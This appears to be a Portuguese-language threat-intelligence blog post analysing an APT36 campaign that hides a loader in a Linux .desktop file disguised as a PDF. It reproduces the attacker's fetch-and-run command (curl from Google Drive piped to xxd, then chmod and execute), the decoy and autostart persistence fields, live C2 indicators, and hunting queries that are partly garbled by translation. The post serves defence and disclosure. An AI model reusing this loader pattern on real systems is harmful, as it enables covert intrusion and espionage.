Voltar
Inteligência do adversário
Tabela de conteúdo

Sumário executivo

O APT36 — também conhecido como Transparent Tribe, Mythic Leopard, Earthkarkaddan ou Operation C-Major — é um grupo de ameaças persistentes avançadas (APT) baseado no Paquistão, ativo desde pelo menos 2013. O grupo se concentra principalmente em atividades de espionagem cibernética direcionadas a entidades governamentais indianas, com ênfase particular no pessoal de defesa e organizações relacionadas. O APT36 é bem conhecido por suas campanhas persistentes de phishing e operações de coleta de credenciais usadas para obter acesso a ambientes confidenciais.

Em nossas investigações recentes, observamos uma nova técnica de infecção que utiliza arquivos de entrada de desktop Linux (.desktop) como mecanismo de entrega de malware. O ataque começa com um arquivo Zip malicioso contendo um arquivo.desktop disfarçado de documento (por exemplo, PROCUREMENT_OF_MANPORTABLE_&_COMPAC. pdf. desktop). Quando executado, o carregador baixa uma carga útil do dropper do Google Drive, armazenada lá como strings codificadas em hexadecimal. O malware então

  • Decodifica a carga hexadecimal e a grava em /tmp/Procurement_of_ManPortable_ &_compac.pdf-$ (date+%s) (onde date +%s fornece um timestamp Unix.
  • Ajusta as permissões e executa o binário dropper.
  • Abre um arquivo PDF falso no Firefox, criando a impressão de que um documento legítimo foi acessado para reduzir a suspeita da vítima

Uma vez lançado, o conta-gotas executa várias operações:

  • Executa verificações anti-depuração e anti-sandbox.
  • Estabelece a persistência no sistema infectado.
  • Tenta estabelecer uma conexão com sua infraestrutura de comando e controle (C2) usando WebSockets.

Análise

Aquisição de_ManPortable_&_compac.pdf.zip : O arquivo Zip contém o arquivo de malware.desktop

Hash MD5:6ac0fe0fa5d9af8193610d710a7da63c

Hash SHA1:3e3169c513c02126028480421fb341a167cb9fcd

Hash SHA256:34ad45374d5f5059cad65e7057ec0f3e468f00234be7c34de033093efc4dd83d

Depois de descompactar o arquivo zip, obtemos um arquivo.desktop (AQUISIÇÃO DE _MANPORTABLE_\ &_COMPAC.pdf.desktop)

Hash MD5: a484f85d132609a4a6b5ed65ece7d331

Hash SHA1: 1982f09bfab3a6688bb80249a079db1a759214b7

Hash SHA256: 6347f46d77a47b90789a1209b8f573b2529a6084f858a27d977bf23ee8a79113

Um arquivo.desktop é um arquivo de configuração de texto simples usado principalmente em ambientes de desktop Linux para definir atalhos e inicializadores de aplicativos. Ele fornece metadados sobre um aplicativo, como nome, ícone e comando para executar o programa. Esses arquivos permitem que um aplicativo apareça nos menus do sistema, na área de trabalho ou em painéis, facilitando o lançamento a partir de interfaces gráficas de usuário.

Figura 1: arquivo.desktop com ícone pdf representando um arquivo pdf real

O código malicioso está oculto na configuração do ícone.

Figura 2: Código armazenado no arquivo.desktop

Análise do arquivo.desktop

  1. Dados de ícones incorporados

# --- INICIAR DADOS DE ÍCONES INCORPORADOS ---
# IVbOrW0KGGQD1AvkiCubC7GuHi7xQWDKI/Hwyzy53amg1uzyst9pcu8vjp35LWanyuw9oQDG9oic
#... (Dados de imagem codificados em Base64)...
# --- ENCERRAR DADOS DO ÍCONE INCORPORADO ---

  • Essas linhas contêm uma imagem de ícone incorporada codificada no formato Base64.
  • Esse ícone é usado pelo ambiente de desktop Linux para representar visualmente o arquivo.desktop.
  • A incorporação dos dados do ícone ajuda a disfarçar o arquivo como um atalho legítimo para um documento PDF.
  • O malware se esconde “entre” ou ao lado dos dados do ícone para evitar a detecção casual.

  1. Cabeçalho [Entrada de desktop]

[Entrada na área de trabalho]

  • Marca o início da configuração de entrada de desktop de acordo com a Especificação de entrada de desktop.
  • Indica que esse arquivo define como o ambiente de desktop deve tratar esse item (por exemplo, atalho do aplicativo).

  1. Campo de nome

nome=Aquisição_de_mãoportable_&_compac.pdf

  • O nome exibido desse atalho, projetado para parecer um arquivo PDF legítimo.
  • Usar um nome de documento plausível ajuda a induzir os usuários a clicarem duas vezes.

  1. Campo Executivo
  • Esse é o principal comando de execução de malware que é executado quando o arquivo.desktop é executado.

Repartição:

  • CTFuft é uma variável definida para um caminho de arquivo em /tmp/ com o nome do PDF original anexado por um carimbo de data/hora do Unix para criar um nome de arquivo exclusivo.
  • NilThe é definido pela decodificação de uma string codificada em base64, que é uma carga útil codificada em hexadecimal. Ou seja, NilThe armazena o seguinte comando

curl --fail --location --show-error "https://drive.google.com/uc?export=download&id=1VQQiTt78N3KpYJzVbE-95uILnO84Wz_ -” | xxd -r -p

  • Essa carga decodificada é gravada no caminho do arquivo $ctFuft (/tmp dir).
  • O arquivo então recebe permissões de execução (chmod +x).
  • O arquivo de carga útil é executado em segundo plano (&).
  • Outro comando decodificado em base64 é armazenado no iUQdst, que inicia o Firefox, abrindo um URL de PDF falso para enganar o usuário.

firefox --nova-janela "https://drive.google.com/file/d/1kn0L_6WYbfUUx0dmzwfALDnzkVHJAPTu/view?usp=drive_link

  • Tanto a execução da carga útil quanto a abertura do PDF isca ocorrem simultaneamente.
  • Essencialmente, isso executa uma carga maliciosa oculta enquanto mostra um documento legítimo falso para a vítima.

  1. Campo terminal

Terminal=falso

  • Indica que o comando deve ser executado sem abrir uma janela visível do terminal.
  • Ajuda a ocultar a execução do ataque da visão do usuário.

  1. Campo de tipo

Tipo = Aplicação

  • Identifica esse arquivo.desktop como um inicializador de aplicativos.
  • Esse campo informa ao sistema que a execução desse arquivo executará um aplicativo ou comando em vez de abrir uma pasta ou link.

  1. Campo de ícones

icon=Aplicativo-PDF

  • Especifica o ícone que o ambiente de desktop deve exibir para esse arquivo.
  • Defina como um ícone de PDF genérico para disfarçar ainda mais o arquivo como um documento em vez de um executável.

  1. Campo de categorias

Categorias = Utilidade;

  • Usado pelo ambiente de desktop para categorizar o aplicativo.
  • Aqui, ele é marcado como um utilitário, provavelmente para evitar suspeitas.

  1. Campo habilitado para X-GNOME AutoStart

X-GNOME-AutoStart-Enabled=true

  • Chave específica do GNOME que marca esse arquivo para ser iniciado automaticamente quando o usuário faz login.
  • Isso pode ser uma tentativa de estabelecer persistência executando o arquivo malicioso .desktop em cada início de sessão.

  1. Campo de integração de imagens X

X-AppImage-Integrate=false

  • Impede a integração com o AppImage, um recurso do Linux relacionado a aplicativos portáteis.
  • Provavelmente irrelevante para malware, mas incluído para manter a estrutura de arquivos de desktop esperada.
  1. Segundo bloco de dados de ícones incorporados

# --- INICIAR DADOS DE ÍCONES INCORPORADOS ---
# ivborw0kggqkmdcytlapGmnafl2blx+gyt9xeiqfmrad7yp+esz18tSEFE3GySwghqpwxLB2pejg
#... (Dados de imagem codificados em Base64)...
# --- ENCERRAR DADOS DO ÍCONE INCORPORADO ---

  • Outro ícone codificado em Base64 incorporado novamente no final, talvez para manter a integridade do arquivo ou repelir uma detecção mais simples.
  • Isso reforça o disfarce ao incorporar várias imagens de ícones.

Figura 3: Instantâneo do pdf isca

Análise do arquivo descartado (carga útil)

Arquivo de carga útil: executável ELF LSB de 64 bits, x86-64, versão 1 (SYSV), vinculado estaticamente, buildID [sha1] =
508a3568c56ed4f613cfafef23ff12c81ba627eb, com debug_info, não removido

Com a análise do cabeçalho da seção, podemos confirmar que esse é um binário ativo.

Hash MD5: 566ddd4eb4ca8d4dd67b72ee7f944055

Hash SHA1: df4db969a69efc1db59f4d3c596ed590ee059777

Hash SHA256: 7a946339439eb678316a124b8d700b21de919c81ee5bef33e8cb848b7183927b

A engenharia reversa do binário go fornece algumas descobertas interessantes:

1. Go Runtime e Stack Growth

  • Essa é a maneira de Go verificar se há espaço suficiente na pilha e aumentar a pilha de goroutine quando necessário.

2. Verificações de randomização e anti-análise

  • Ele semeia aleatoriedade com a hora atual.
  • Executa “verificações fictícias de evasão” em um loop — essas são rotinas anti-depuração/anti-sandbox projetadas para perder tempo ou detectar instrumentação.
  • Truque típico de malware para descartar emuladores e analisadores estáticos.

3. Criação de clientes

  • Essa função parece criar um objeto “cliente” de rede para uso posterior.

4. Modos furtivo/persistência

Ele se ramifica com base em os.Args:

Se os.args == “--hidden”, ele aciona:

(modo de instalação furtiva)

Caso contrário, ele instala a persistência (provavelmente se adicionando ao cron e ao daemon de backup):

5. Registro e anúncios

Há muitas chamadas para:

tronco. (*Registrador) .saída (...)
main.main.println.Funcx
main.main.printf.funcy

Onde ele registra mensagens como:

“Cliente furtivo começando...”

“(PID:...)”
“Tentando se conectar ao servidor:...”

6. Comportamento de comando e controle

O loop no final é crítico:

  • Esse blob Base64 decodifica para um URL WebSocket (ws: //seemysitelive [.] store:8080/ws)
  • O cliente tenta se conectar continuamente a ele.
  • Se a conexão falhar, ela registra, dorme e tenta novamente — loop clássico de sinalização C2 (Comando e Controle).

7. Uso do Syscall

  • Isso significa manipular processos de baixo nível (possivelmente ocultação, persistência ou escalonamento de privilégios).

Atribuição

O C2 que encontramos estava executando um websocket que retornava “Bem-vindo ao Stealth Server”. Vamos verificar o C2 no Censys para identificar se podemos reunir algum artefato relacionado ao “Stealth Server”.

Figura 4. Resultados do Censys Query

Pesquisei endereços IP usando a seguinte consulta do Censys:

<title>services.http.response.html_tags:” Stealth Server - Login”</title>

Resultados:

  • 4 IPs corresponderam à consulta.
  • Três delas foram identificadas como maliciosas:
  • 2 são nossos servidores C2.
  • 1 é um C2 atribuído anteriormente associado ao APT36.

Domínio C2: seemysitelive [.] store

IP C2:164.215.103.55 (relacionado ao ASN: AS 213373; IP Connect Inc)

Conectando-se ao websocket, forneça: “Bem-vindo ao Stealth Server”

Figura 5. Resultados do Virustotal para o domínio

Figura 6. Resposta do websocket

Modelo de diamante para APT36

Impacto

O uso do Google Drive em seu ciclo de vida de ataque representa uma evolução significativa nas capacidades do grupo de ameaças, introduzindo vetores de spearphishing que representam maiores riscos para a infraestrutura governamental e de defesa baseada em Linux.

Impacto em empresas e governos

Espionagem direcionada em setores críticos: Os ataques do APT36 se concentram no governo e no pessoal de defesa, arriscando o vazamento de informações estratégicas e de defesa confidenciais que podem comprometer a segurança nacional e a confidencialidade organizacional.

Persistência e evasão furtivas: Usando arquivos.desktop disfarçados e técnicas sofisticadas de anti-depuração/anti-sandbox, o malware persiste sem ser detectado nos sistemas Linux, permitindo acesso prolongado não autorizado e espionagem.

Ameaça à segurança da cadeia de suprimentos e compras: A campanha usa phishing com tema de compras para se infiltrar nas organizações, destacando vulnerabilidades nos fluxos de trabalho de compras que podem levar à interrupção operacional, fraude e perda de confiança.

Comando e controle sobre protocolos não padrão: Utilizando comunicações WebSocket na porta 8080, a campanha mantém recursos furtivos de controle remoto e exfiltração, complicando os esforços de detecção e resposta a incidentes.

Indicadores de compromisso (IOCs)

Hashes de arquivo

Arquivo ZIP malicioso
Nome do arquivo: Procurement_of_ManPortable_&_compac.pdf.zip
MD5:6ac0fe0fa5d9af8193610d710a7da63c
SHA1:3e3169c513c02126028480421fb341a167cb9fcd
SHA256:34ad45374d5f5059cad65e7057ec0f3e468f00234be7c34de033093efc4dd83d

Arquivo malicioso.desktop
Nome do arquivo: Procurement_of_ManPortable_&_compac.pdf.desktop
MD5: a484f85d132609a4a6b5ed65ece7d331
SHA1:1982f09bfab3a6688bb80249a079db1a759214b7
SHA256:6347f46d77a47b90789a1209b8f573b2529a6084f858a27d977bf23ee8a79113

Carga útil binária Go
Nome do arquivo: executável ELF LSB de 64 bits (carga útil perdida)
MD5:566ddd4eb4ca8d4dd67b72ee7f944055
SHA1: df4db969a69efc1db59f4d3c596ed590ee059777
SHA256:7a946339439eb678316a124b8d700b21de919c81ee5bef33e8cb848b7183927b

Indicadores de rede

Infraestrutura de comando e controle

Domínio: seemysitelive [.] store
IP: 164.215.103.55
Código ASN: AS 213373 (IP Connect Inc)
Protocolo: WebSocket (ws://)
Porta: 8080
URL: ws: //seemysitelive [.] loja: 8080/ws
Banner: “Bem-vindo ao Stealth Server”

Infraestrutura de entrega de carga útil

Plataforma: Google Drive

Gmail do atacante: [email protected]
Padrão de URL: https://drive.google.com/uc?export=download&id=[FILE_ID]
URL de engodo: https://drive.google.com/file/d/1kn0L_6WYbfUUx0dmzwfALDnzkVHJAPTu/view?usp=drive_link

Artefatos do sistema de arquivos

Locais de entrega de carga
Padrão de caminho: /tmp/Procurement_of_ManPortable_ &_compac.pdf- [TIMESTAMP]
Exemplo: /tmp/Procurement_of_ManPortable_ &_compac.pdf-1692547200
Permissões: Executável (chmod +x aplicado)

Indicadores comportamentais

Padrões de execução de processos
Comando: bash -c [BASE64_ENCODED_COMMANDS]
Padrão: curl --fail --location --show-error [GOOGLE_DRIVE_URL] | xxd -r -p
Processo: lançamento do Firefox com URL de PDF falso
Binário: Executável Go com recursos anti-depuração

Padrões de comunicação de rede

Protocolo: conexões WebSocket para a porta 8080
Lógica de repetição: intervalos de 10 segundos em caso de falha de conexão
Agente de usuário: padrões de cliente HTTP Go
Persistência: tentativas contínuas de reconexão

Recomendações de remediação

Segurança de rede

  • Infraestrutura do Bloco C2
  • Adicione seemysitelive [.] store e 164.215.103.55 às listas de bloqueio da rede
  • Monitore e bloqueie conexões WebSocket com a porta 8080
  • Implemente o bloqueio de DNS para o domínio malicioso

Detecção de terminais

  • Pesquise hashes de arquivos em todos os sistemas Linux
  • Procure arquivos em /tmp/ que correspondam ao padrão de nomenclatura
  • Identifique sistemas com arquivos.desktop suspeitos

Segurança de e-mail

  • Bloquear anexos ZIP contendo arquivos.desktop
  • Implemente escaneamento adicional para e-mails com temas de compras
  • Revise os registros de e-mail para ver padrões de anexos semelhantes

Operações de caça

1. Consultas sobre caça a ameaças

   

# Pesquise arquivos.desktop suspeitos
encontre/-name “*.desktop” -newer [data_recente] -exec grep -l “bash -c” {}\;

# Procure cargas úteis decodificadas em hexadecimal
grep -r “xxd -r -p” /var/log/

# Encontre binários Go em locais suspeitos
encontre /tmp /var/tmp -type f -executable -exec file {}\; | grep “Vá construindo”

2. Análise de memória

- Despejar memória de processos Go suspeitos

- Analise as conexões WebSocket na memória

- Verifique se há dados de configuração incorporados

Apêndice

ATT&CK Tactics and Techniques

ATT&CK Tactic ATT&CK Technique ID Technique Name Description / Relevance
Initial Access T1566 Phishing Delivery via phishing ZIP attachments containing malicious .desktop files
Execution T1204.002 User Execution: Malicious File Execution of disguised .desktop files by users
T1064 Scripting Use of bash script commands in the .desktop Exec field to download payload
Persistence T1543.003 Create or Modify System Process: Systemd Service Persistence via autostart .desktop files and likely cron/systemd services
T1564.001 Hide Artifacts: Hidden Files and Directories Dropping payload in hidden /tmp with obfuscation
Defense Evasion T1036 Masquerading Disguising malware as legitimate PDF shortcuts with icon spoofing
T1027.001 Obfuscated Files or Information: Binary Padding Large base64 icon data to hide malicious commands
Credential Access T1110 Brute Force / Credential Dumping (common in APT36 campaigns) Credential harvesting focus in broader APT36 operations
Discovery T1518 Software Discovery Reconnaissance on victim environment (host info gathering)
Command and Control T1071 Application Layer Protocol Using WebSocket protocol for C2 communications
T1095 Non-Application Layer Protocol WebSocket is a non-standard C2 communication
T1105 Ingress Tool Transfer Downloading payload from Google Drive
T1571 Non-Standard Port C2 over uncommon port 8080 using WebSocket

Referência

https://x.com/SinghSoodeep/status/1955860231109665108

Ayush Panwar
Cybersecurity Consultant who loves hacking, breaking things, and learning new ways to secure them.
Nenhum item encontrado.

Blogs relacionados